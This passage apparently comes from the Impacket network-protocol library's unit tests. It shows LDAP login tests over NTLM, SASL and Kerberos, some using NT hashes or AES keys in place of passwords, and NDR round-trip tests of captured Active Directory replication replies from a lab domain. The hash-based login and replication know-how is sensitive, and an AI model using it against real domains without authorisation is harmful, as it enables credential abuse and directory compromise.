a binary level.\n        impacket.ldap.ldaptypes.RECALC_ACL_SIZE = False\n        ldapConnection = self.connect()\n        searchFilter = \"(objectCategory=computer)\"\n\n        resp = ldapConnection.search(\n            searchFilter=searchFilter, attributes=[\"nTSecurityDescriptor\"]\n        )\n        for item in resp:\n            if isinstance(item, ldapasn1.SearchResultEntry) is not True:\n                continue\n            for attribute in item[\"attributes\"]:\n                if attribute[\"type\"] == \"nTSecurityDescriptor\":\n                    secDesc = str(attribute[\"vals\"][0])\n                    # Converting it so we can use it\n                    sd = SR_SECURITY_DESCRIPTOR()\n                    sd.fromString(secDesc)\n                    sd.dump()\n                    self.assertEqual(secDesc, sd.getData())\n\n    def test_sicily(self):\n        ldapConnection = self.connect(False)\n        ldapConnection.login(authenticationChoice=\"sicilyPackageDiscovery\")\n\n    def test_sicilyNtlm(self):\n        ldapConnection = self.connect(False)\n        ldapConnection.login(\n            user=self.username, password=self.password, domain=self.domain\n        )\n\n        self.dummySearch(ldapConnection)\n\n    def test_saslNtlm(self):\n        ldapConnection = self.connect(False)\n        ldapConnection.login(\n            user=self.username, password=self.password, domain=self.domain,\n            authenticationChoice=\"sasl\"\n        )\n        self.dummySearch(ldapConnection)\n\n    def test_kerberosLogin(self):\n        ldapConnection = self.connect(False)\n        ldapConnection.kerberosLogin(self.username, self.password, self.domain)\n\n        self.dummySearch(ldapConnection)\n\n    def test_kerberosLoginHashes(self):\n        ldapConnection = self.connect(False)\n        ldapConnection.kerberosLogin(\n            self.username, \"\", self.domain, self.lmhash, self.nthash, \"\", None, None\n        )\n\n        self.dummySearch(ldapConnection)\n\n    def test_kerberosLoginKeys(self):\n        ldapConnection = self.connect(False)\n        ldapConnection.kerberosLogin(\n            self.username, \"\", self.domain, \"\", \"\", self.aes_key_128, None, None\n        )\n\n        self.dummySearch(ldapConnection)\n\n    def test_sicilyNtlmHashes(self):\n        ldapConnection = self.connect(False)\n        ldapConnection.login(\n            user=self.username,\n            password=self.password,\n            domain=self.domain,\n            lmhash=self.lmhash,\n            nthash=self.nthash,\n        )\n\n        self.dummySearch(ldapConnection)\n\n    def test_search(self):\n        ldapConnection = self.connect()\n\n        self.dummySearch(ldapConnection)\n\n\n@pytest.mark.remote\nclass LDAPTestsTCPTransport(LDAPTests, unittest.TestCase):\n    def setUp(self):\n        super(LDAPTestsTCPTransport, self).setUp()\n        self.set_transport_config(aes_keys=True)\n        self.url = \"ldap://%s\" % self.serverName\n        self.baseDN = \"dc=%s, dc=%s\" % (\n            self.domain.split(\".\")[0],\n            self.domain.split(\".\")[1],\n        )\n\n\n@pytest.mark.remote\nclass LDAPTestsSSLTransport(LDAPTestsTCPTransport):\n    def setUp(self):\n        super(LDAPTestsSSLTransport, self).setUp()\n        self.url = \"ldaps://%s\" % self.serverName\n\n\n# Process command-line arguments.\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/SMB_RPC/test_ndr.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport unittest\n\nfrom impacket.dcerpc.v5.samr import SamrLookupNamesInDomainResponse, SamrLookupIdsInDomain\nfrom impacket.dcerpc.v5.drsuapi import DRSCrackNamesResponse,DRSDomainControllerInfoResponse,DRSGetNCChangesResponse\nfrom impacket.winregistry import hexdump\nfrom impacket.dcerpc.v5.lsat import LsarGetUserNameResponse, LsarLookupSids2Response\nfrom impacket.dcerpc.v5.rrp import BaseRegEnumValueResponse, BaseRegGetKeySecurityResponse, BaseRegQueryMultipleValues, RVALENT, REG_SZ, BaseRegQueryValueResponse\nfrom impacket.dcerpc.v5.scmr import RCreateServiceWResponse\nfrom impacket.dcerpc.v5.dcomrt import ComplexPing\nfrom impacket.dcerpc.v5 import dtypes\nfrom impacket.dcerpc.v5.dtypes import NULL\nfrom impacket.dcerpc.v5 import srvs\nfrom impacket.dcerpc.v5 import epm\nfrom impacket.dcerpc.v5.epm import ept_lookupResponse\nfrom impacket.uuid import string_to_bin, uuidtup_to_bin\n\n\nclass NDRTests(unittest.TestCase):\n    NDR64Syntax = uuidtup_to_bin(('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'))\n\n    def test_1(self):\n        #<class 'impacket.dcerpc.v5.drsuapi.DRSCrackNamesResponse'>\n        crackNamesResponse = b'\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x05\\x00\\x00\\x00\\x04\\x00\\x02\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x18\\x00\\x02\\x00q\\x00\\x00\\x00\\x00\\x00\\x00\\x00q\\x00\\x00\\x00C\\x00N\\x00=\\x00N\\x00T\\x00D\\x00S\\x00 \\x00S\\x00e\\x00t\\x00t\\x00i\\x00n\\x00g\\x00s\\x00,\\x00C\\x00N\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00-\\x00D\\x00C\\x00,\\x00C\\x00N\\x00=\\x00S\\x00e\\x00r\\x00v\\x00e\\x00r\\x00s\\x00,\\x00C\\x00N\\x00=\\x00D\\x00e\\x00f\\x00a\\x00u\\x00l\\x00t\\x00-\\x00F\\x00i\\x00r\\x00s\\x00t\\x00-\\x00S\\x00i\\x00t\\x00e\\x00-\\x00N\\x00a\\x00m\\x00e\\x00,\\x00C\\x00N\\x00=\\x00S\\x00i\\x00t\\x00e\\x00s\\x00,\\x00C\\x00N\\x00=\\x00C\\x00o\\x00n\\x00f\\x00i\\x00g\\x00u\\x00r\\x00a\\x00t\\x00i\\x00o\\x00n\\x00,\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00\\xab\\xabq\\x00\\x00\\x00\\x00\\x00\\x00\\x00q\\x00\\x00\\x00C\\x00N\\x00=\\x00N\\x00T\\x00D\\x00S\\x00 \\x00S\\x00e\\x00t\\x00t\\x00i\\x00n\\x00g\\x00s\\x00,\\x00C\\x00N\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00-\\x00D\\x00C\\x00,\\x00C\\x00N\\x00=\\x00S\\x00e\\x00r\\x00v\\x00e\\x00r\\x00s\\x00,\\x00C\\x00N\\x00=\\x00D\\x00e\\x00f\\x00a\\x00u\\x00l\\x00t\\x00-\\x00F\\x00i\\x00r\\x00s\\x00t\\x00-\\x00S\\x00i\\x00t\\x00e\\x00-\\x00N\\x00a\\x00m\\x00e\\x00,\\x00C\\x00N\\x00=\\x00S\\x00i\\x00t\\x00e\\x00s\\x00,\\x00C\\x00N\\x00=\\x00C\\x00o\\x00n\\x00f\\x00i\\x00g\\x00u\\x00r\\x00a\\x00t\\x00i\\x00o\\x00n\\x00,\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00\\xab\\xabq\\x00\\x00\\x00\\x00\\x00\\x00\\x00q\\x00\\x00\\x00C\\x00N\\x00=\\x00N\\x00T\\x00D\\x00S\\x00 \\x00S\\x00e\\x00t\\x00t\\x00i\\x00n\\x00g\\x00s\\x00,\\x00C\\x00N\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00-\\x00D\\x00C\\x00,\\x00C\\x00N\\x00=\\x00S\\x00e\\x00r\\x00v\\x00e\\x00r\\x00s\\x00,\\x00C\\x00N\\x00=\\x00D\\x00e\\x00f\\x00a\\x00u\\x00l\\x00t\\x00-\\x00F\\x00i\\x00r\\x00s\\x00t\\x00-\\x00S\\x00i\\x00t\\x00e\\x00-\\x00N\\x00a\\x00m\\x00e\\x00,\\x00C\\x00N\\x00=\\x00S\\x00i\\x00t\\x00e\\x00s\\x00,\\x00C\\x00N\\x00=\\x00C\\x00o\\x00n\\x00f\\x00i\\x00g\\x00u\\x00r\\x00a\\x00t\\x00i\\x00o\\x00n\\x00,\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00\\xab\\xabq\\x00\\x00\\x00\\x00\\x00\\x00\\x00q\\x00\\x00\\x00C\\x00N\\x00=\\x00N\\x00T\\x00D\\x00S\\x00 \\x00S\\x00e\\x00t\\x00t\\x00i\\x00n\\x00g\\x00s\\x00,\\x00C\\x00N\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00-\\x00D\\x00C\\x00,\\x00C\\x00N\\x00=\\x00S\\x00e\\x00r\\x00v\\x00e\\x00r\\x00s\\x00,\\x00C\\x00N\\x00=\\x00D\\x00e\\x00f\\x00a\\x00u\\x00l\\x00t\\x00-\\x00F\\x00i\\x00r\\x00s\\x00t\\x00-\\x00S\\x00i\\x00t\\x00e\\x00-\\x00N\\x00a\\x00m\\x00e\\x00,\\x00C\\x00N\\x00=\\x00S\\x00i\\x00t\\x00e\\x00s\\x00,\\x00C\\x00N\\x00=\\x00C\\x00o\\x00n\\x00f\\x00i\\x00g\\x00u\\x00r\\x00a\\x00t\\x00i\\x00o\\x00n\\x00,\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00\\xab\\xabq\\x00\\x00\\x00\\x00\\x00\\x00\\x00q\\x00\\x00\\x00C\\x00N\\x00=\\x00N\\x00T\\x00D\\x00S\\x00 \\x00S\\x00e\\x00t\\x00t\\x00i\\x00n\\x00g\\x00s\\x00,\\x00C\\x00N\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00-\\x00D\\x00C\\x00,\\x00C\\x00N\\x00=\\x00S\\x00e\\x00r\\x00v\\x00e\\x00r\\x00s\\x00,\\x00C\\x00N\\x00=\\x00D\\x00e\\x00f\\x00a\\x00u\\x00l\\x00t\\x00-\\x00F\\x00i\\x00r\\x00s\\x00t\\x00-\\x00S\\x00i\\x00t\\x00e\\x00-\\x00N\\x00a\\x00m\\x00e\\x00,\\x00C\\x00N\\x00=\\x00S\\x00i\\x00t\\x00e\\x00s\\x00,\\x00C\\x00N\\x00=\\x00C\\x00o\\x00n\\x00f\\x00i\\x00g\\x00u\\x00r\\x00a\\x00t\\x00i\\x00o\\x00n\\x00,\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00\\xbf\\xbf\\x00\\x00\\x00\\x00'\n        crackNames = DRSCrackNamesResponse()\n        crackNames.fromString(crackNamesResponse)\n        crackNames.dump()\n        output = crackNames.getData()\n        print(\"ORIG: %d, REPACKED: %d\" % (len(crackNamesResponse), len(output)))\n        print(\"=\"*80)\n        print(\"ORIG\")\n        #hexdump(crackNamesResponse)\n        #hexdump(output)\n        self.assertEqual(crackNamesResponse, output)\n        #print repr(output)\n\n    def test_2(self):\n        #<class 'impacket.dcerpc.v5.drsuapi.DRSDomainControllerInfoResponse'>\n        domainControllerInfoResponse = b'\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x04\\x00\\x02\\x00\\x08\\x00\\x02\\x00\\x0c\\x00\\x02\\x00\\x10\\x00\\x02\\x00\\x14\\x00\\x02\\x00\\x18\\x00\\x02\\x00\\x1c\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xe6)\\x8fL>\\xfdXK\\x88\\xf26\\xc1s\\x08\\xa2\\xa1EG\\x1c\\xc0r\\x17$H\\xb6Y:\\x1b\\x10\\x9dV\\x0bz|z\\x17\\x08\\xe4U@\\xae\\xb8\\xcc\\xc4<\\xa4\\xd3\\x18\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x0b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00-\\x00D\\x00C\\x00\\x00\\x00\\xab\\xab\\x17\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x17\\x00\\x00\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00-\\x00D\\x00C\\x00.\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00.\\x00N\\x00E\\x00T\\x00\\x00\\x00\\xab\\xab\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x18\\x00\\x00\\x00D\\x00e\\x00f\\x00a\\x00u\\x00l\\x00t\\x00-\\x00F\\x00i\\x00r\\x00s\\x00t\\x00-\\x00S\\x00i\\x00t\\x00e\\x00-\\x00N\\x00a\\x00m\\x00e\\x00\\x00\\x00G\\x00\\x00\\x00\\x00\\x00\\x00\\x00G\\x00\\x00\\x00C\\x00N\\x00=\\x00D\\x00e\\x00f\\x00a\\x00u\\x00l\\x00t\\x00-\\x00F\\x00i\\x00r\\x00s\\x00t\\x00-\\x00S\\x00i\\x00t\\x00e\\x00-\\x00N\\x00a\\x00m\\x00e\\x00,\\x00C\\x00N\\x00=\\x00S\\x00i\\x00t\\x00e\\x00s\\x00,\\x00C\\x00N\\x00=\\x00C\\x00o\\x00n\\x00f\\x00i\\x00g\\x00u\\x00r\\x00a\\x00t\\x00i\\x00o\\x00n\\x00,\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00\\xab\\xab6\\x00\\x00\\x00\\x00\\x00\\x00\\x006\\x00\\x00\\x00C\\x00N\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00-\\x00D\\x00C\\x00,\\x00O\\x00U\\x00=\\x00D\\x00o\\x00m\\x00a\\x00i\\x00n\\x00 \\x00C\\x00o\\x00n\\x00t\\x00r\\x00o\\x00l\\x00l\\x00e\\x00r\\x00s\\x00,\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00`\\x00\\x00\\x00\\x00\\x00\\x00\\x00`\\x00\\x00\\x00C\\x00N\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00-\\x00D\\x00C\\x00,\\x00C\\x00N\\x00=\\x00S\\x00e\\x00r\\x00v\\x00e\\x00r\\x00s\\x00,\\x00C\\x00N\\x00=\\x00D\\x00e\\x00f\\x00a\\x00u\\x00l\\x00t\\x00-\\x00F\\x00i\\x00r\\x00s\\x00t\\x00-\\x00S\\x00i\\x00t\\x00e\\x00-\\x00N\\x00a\\x00m\\x00e\\x00,\\x00C\\x00N\\x00=\\x00S\\x00i\\x00t\\x00e\\x00s\\x00,\\x00C\\x00N\\x00=\\x00C\\x00o\\x00n\\x00f\\x00i\\x00g\\x00u\\x00r\\x00a\\x00t\\x00i\\x00o\\x00n\\x00,\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00q\\x00\\x00\\x00\\x00\\x00\\x00\\x00q\\x00\\x00\\x00C\\x00N\\x00=\\x00N\\x00T\\x00D\\x00S\\x00 \\x00S\\x00e\\x00t\\x00t\\x00i\\x00n\\x00g\\x00s\\x00,\\x00C\\x00N\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00-\\x00D\\x00C\\x00,\\x00C\\x00N\\x00=\\x00S\\x00e\\x00r\\x00v\\x00e\\x00r\\x00s\\x00,\\x00C\\x00N\\x00=\\x00D\\x00e\\x00f\\x00a\\x00u\\x00l\\x00t\\x00-\\x00F\\x00i\\x00r\\x00s\\x00t\\x00-\\x00S\\x00i\\x00t\\x00e\\x00-\\x00N\\x00a\\x00m\\x00e\\x00,\\x00C\\x00N\\x00=\\x00S\\x00i\\x00t\\x00e\\x00s\\x00,\\x00C\\x00N\\x00=\\x00C\\x00o\\x00n\\x00f\\x00i\\x00g\\x00u\\x00r\\x00a\\x00t\\x00i\\x00o\\x00n\\x00,\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00\\xbf\\xbf\\x00\\x00\\x00\\x00'\n        domainController = DRSDomainControllerInfoResponse()\n        domainController.fromString(domainControllerInfoResponse)\n        domainController.dump()\n        output = domainController.getData()\n        print(\"ORIG: %d, REPACKED: %d\" % (len(domainControllerInfoResponse), len(output)))\n        print(\"=\"*80)\n        print(\"ORIG\")\n        hexdump(domainControllerInfoResponse)\n        hexdump(output)\n        #print \"ORIG: %d, REPACKED: %d\" % (len(domainControllerInfoResponse), len(output))\n        self.assertEqual(domainControllerInfoResponse, output)\n\n    def test_3(self):\n        #<class 'impacket.dcerpc.v5.drsuapi.DRSGetNCChangesResponse'>\n        getNCChangesResponse = b'\\x06\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x00\\x00\\x02\\x00\\xab\\xab\\xab\\xab\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\'\\x00\\x00\\x00\\x04\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa4\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\\\\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00\\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x08\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x0c\\x00\\x02\\x00\\x02\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x10\\x00\\x02\\x00\\x03\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x14\\x00\\x02\\x00\\x04\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x18\\x00\\x02\\x00\\x05\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x1c\\x00\\x02\\x00\\x06\\x00\\x00\\x00\\x08\\x00\\x00\\x00 \\x00\\x02\\x00\\x07\\x00\\x00\\x00\\x08\\x00\\x00\\x00$\\x00\\x02\\x00\\x08\\x00\\x00\\x00\\x02\\x00\\x00\\x00(\\x00\\x02\\x00\\t\\x00\\x00\\x00\\x08\\x00\\x00\\x00,\\x00\\x02\\x00\\n\\x00\\x00\\x00\\x08\\x00\\x00\\x000\\x00\\x02\\x00\\x13\\x00\\x00\\x00\\x08\\x00\\x00\\x004\\x00\\x02\\x00\\x14\\x00\\x00\\x00\\x08\\x00\\x00\\x008\\x00\\x02\\x00\\x15\\x00\\x00\\x00\\t\\x00\\x00\\x00<\\x00\\x02\\x00\\x16\\x00\\x00\\x00\\t\\x00\\x00\\x00@\\x00\\x02\\x00\\x17\\x00\\x00\\x00\\n\\x00\\x00\\x00D\\x00\\x02\\x00\\x18\\x00\\x00\\x00\\x02\\x00\\x00\\x00H\\x00\\x02\\x00\\x19\\x00\\x00\\x00\\x02\\x00\\x00\\x00L\\x00\\x02\\x00\\x1a\\x00\\x00\\x00\\x02\\x00\\x00\\x00P\\x00\\x02\\x00\\x0b\\x00\\x00\\x00\\n\\x00\\x00\\x00T\\x00\\x02\\x00\\x0c\\x00\\x00\\x00\\t\\x00\\x00\\x00X\\x00\\x02\\x00\\r\\x00\\x00\\x00\\n\\x00\\x00\\x00\\\\\\x00\\x02\\x00\\x0e\\x00\\x00\\x00\\t\\x00\\x00\\x00`\\x00\\x02\\x00\\x0f\\x00\\x00\\x00\\n\\x00\\x00\\x00d\\x00\\x02\\x00\\x10\\x00\\x00\\x00\\t\\x00\\x00\\x00h\\x00\\x02\\x00\\x11\\x00\\x00\\x00\\t\\x00\\x00\\x00l\\x00\\x02\\x00\\x12\\x00\\x00\\x00\\n\\x00\\x00\\x00p\\x00\\x02\\x00\\x1b\\x00\\x00\\x00\\t\\x00\\x00\\x00t\\x00\\x02\\x00\\x1c\\x00\\x00\\x00\\t\\x00\\x00\\x00x\\x00\\x02\\x00\\x1d\\x00\\x00\\x00\\x08\\x00\\x00\\x00|\\x00\\x02\\x00\\x1e\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x80\\x00\\x02\\x00\\x1f\\x00\\x00\\x00\\t\\x00\\x00\\x00\\x84\\x00\\x02\\x00 \\x00\\x00\\x00\\t\\x00\\x00\\x00\\x88\\x00\\x02\\x00!\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x8c\\x00\\x02\\x00\"\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x90\\x00\\x02\\x00#\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x94\\x00\\x02\\x00$\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x98\\x00\\x02\\x00%\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x9c\\x00\\x02\\x00&\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\xa0\\x00\\x02\\x00\\x02\\x00\\x00\\x00U\\x04\\xca\\xca\\x02\\x00\\x00\\x00U\\x06\\xca\\xca\\x08\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x02\\x08\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x03\\x08\\x00\\x00\\x00`\\x86H\\x01e\\x02\\x02\\x01\\x08\\x00\\x00\\x00`\\x86H\\x01e\\x02\\x02\\x03\\x08\\x00\\x00\\x00`\\x86H\\x01e\\x02\\x01\\x05\\x08\\x00\\x00\\x00`\\x86H\\x01e\\x02\\x01\\x04\\x02\\x00\\x00\\x00U\\x05\\xca\\xca\\x08\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x04\\x08\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x05\\x08\\x00\\x00\\x00\\t\\x92&\\x89\\x93\\xf2,d\\x08\\x00\\x00\\x00`\\x86H\\x01\\x86\\xf8B\\x03\\t\\x00\\x00\\x00\\t\\x92&\\x89\\x93\\xf2,d\\x01\\xca\\xca\\xca\\t\\x00\\x00\\x00`\\x86H\\x01\\x86\\xf8B\\x03\\x01\\xca\\xca\\xca\\n\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x05\\xb6X\\xca\\xca\\x02\\x00\\x00\\x00U\\x15\\xca\\xca\\x02\\x00\\x00\\x00U\\x12\\xca\\xca\\x02\\x00\\x00\\x00U\\x14\\xca\\xca\\n\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x04\\x82\\x04\\xca\\xca\\t\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x058\\xca\\xca\\xca\\n\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x04\\x82\\x06\\xca\\xca\\t\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x059\\xca\\xca\\xca\\n\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x04\\x82\\x07\\xca\\xca\\t\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x05:\\xca\\xca\\xca\\t\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x05I\\xca\\xca\\xca\\n\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x04\\x821\\xca\\xca\\t\\x00\\x00\\x00+\\x06\\x01\\x04\\x01\\x8b:ew\\xca\\xca\\xca\\t\\x00\\x00\\x00`\\x86H\\x01\\x86\\xf8B\\x03\\x02\\xca\\xca\\xca\\x08\\x00\\x00\\x00+\\x06\\x01\\x04\\x01\\x81z\\x01\\x08\\x00\\x00\\x00*\\x86H\\x86\\xf7\\r\\x01\\t\\t\\x00\\x00\\x00\\t\\x92&\\x89\\x93\\xf2,d\\x04\\xca\\xca\\xca\\t\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x06\\x17\\xca\\xca\\xca\\n\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x06\\x12\\x01\\xca\\xca\\n\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x06\\x12\\x02\\xca\\xca\\n\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x06\\r\\x03\\xca\\xca\\n\\x00\\x00\\x00*\\x86H\\x86\\xf7\\x14\\x01\\x06\\r\\x04\\xca\\xca\\x06\\x00\\x00\\x00+\\x06\\x01\\x01\\x01\\x01\\xca\\xca\\x06\\x00\\x00\\x00+\\x06\\x01\\x01\\x01\\x02\\xab\\xab\\x00\\x00\\x00\\x00\\xa8\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\xac\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\x00\\x02\\x00\\x12\\x00\\x00\\x00\\\\\\x00\\x00\\x00\\x18\\x00\\x00\\x00\\xbb\\xd9xM\\x8c\\xa3lI\\xb5\\xd3a\\xde\\x92\\xcb\\xaa\\x0c\\x01\\x04\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\x98\\xb7\\xba\\xeb^\\xc4g\\x7fy2s\\xab\\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x00D\\x00C\\x00=\\x00F\\x00R\\x00E\\x00E\\x00F\\x00L\\x00Y\\x00,\\x00D\\x00C\\x00=\\x00N\\x00E\\x00T\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\xb0\\x00\\x02\\x00\\x92\\x00\\t\\x00\\x01\\x00\\x00\\x00\\xb8\\x00\\x02\\x00\\x01\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xb4\\x00\\x02\\x00\\x04\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x18\\x00\\x00\\x00\\xbc\\x00\\x02\\x00\\x18\\x00\\x00\\x00\\x01\\x04\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00\\x98\\xb7\\xba\\xeb^\\xc4g\\x7fy2s\\xab\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\xab\\xab\\xab\\xab\\x01\\x00\\x00\\x00\\xbf\\xbf\\xbf\\xbf\\xd2\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x03\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xbf\\xbf\\xbf\\xbf\\xd2\\x19V\\x08\\x03\\x00\\x00\\x00\\xd7\\xba[\\xe8#\\t\\xcbA\\x91\\x1e6\\x91\\xd2\\x01H\\x15\\x04\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        ncChanges = DRSGetNCChangesResponse()\n        ncChanges.fromString(getNCChangesResponse)\n        ncChanges.dump()\n        output = ncChanges.getData()\n        print(repr(output))\n        print(\"ORIG: %d, REPACKED: %d\" % (len(getNCChangesResponse), len(output)))\n        print(\"=\"*80)\n        print(\"ORIG\")\n        hexdump(getNCChangesResponse)\n        print(\"=\"*80)\n        print(\"REPACKED\")\n        hexdump(output)\n        print(\"=\"*80)\n        